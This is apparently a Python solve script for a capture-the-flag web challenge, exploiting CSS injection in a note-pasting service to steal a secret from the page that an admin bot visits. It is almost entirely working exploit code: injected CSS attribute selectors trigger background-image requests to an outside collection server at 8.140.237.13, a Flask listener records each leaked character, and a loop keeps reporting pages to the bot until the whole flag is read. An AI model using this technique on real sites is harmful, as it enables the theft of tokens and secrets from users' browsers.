1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| from flask import Flask, request, make_response import requests, string, re, time, base64 import threading
app = Flask(__name__)
next_note_id = ['default_id', 'default_char'] flag = '0xGame{CSS_Can_Also_Inject' charset = '-_}' + string.ascii_letters + string.digits PIXEL_GIF = base64.b64decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7')
stop_update_flag = False current_update_thread = None
challenge_url = 'http://3000-86a84375-b5bc-4861-b128-f17b7ca5f791.challenge.ctfplus.cn/' s = requests.Session() s.post(challenge_url + 'register', data={'username':'oz', 'password':'oz@1234'}) s.post(challenge_url + 'login', data={'username':'oz', 'password':'oz@1234'})
payload = """ <div><style> head, meta {{ display: block; }} meta[name="secret"][content^="{}"]{{ background: url("http://8.140.237.13:8000/leak?q={}"); }} </style></div> """
def update(): global next_note_id, stop_update_flag stop_update_flag = False
for char in charset: if stop_update_flag: print("[*] Update thread stopped") return content = payload.format(flag+char, char) res = s.post(challenge_url + 'paste', data={'content': content}) new_id = re.findall('"/view/(.*)?"', res.text)[0] time.sleep(5) next_note_id = [new_id, char]
def report(): global current_update_thread
s.post(challenge_url + 'report', data={'url':'http://8.140.237.13:8000/page'})
time.sleep(8) current_update_thread = threading.Thread(target=update) current_update_thread.start() print("[*] Started update thread!")
while next_note_id != 'done': time.sleep(120-5) s.post(challenge_url + 'report', data={'url':'http://8.140.237.13:8000/page'})
@app.route('/start') def start(): thread = threading.Thread(target=report) thread.start() return 'OK'
@app.route('/page') def page(): with open('fallback.html', 'r') as f: content = f.read() return content
@app.route('/next') def next(): print(next_note_id) return next_note_id[0]
@app.route('/leak') def leak(): global flag, next_note_id, stop_update_flag, current_update_thread
char = request.args.get('q') flag += char print(flag)
stop_update_flag = True time.sleep(5) if char == '}': next_note_id[0] = 'done' else: current_update_thread = threading.Thread(target=update) current_update_thread.start() print("[*] Started new update thread")
response = make_response(PIXEL_GIF) response.headers['Content-Type'] = 'image/gif' return response
if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)
|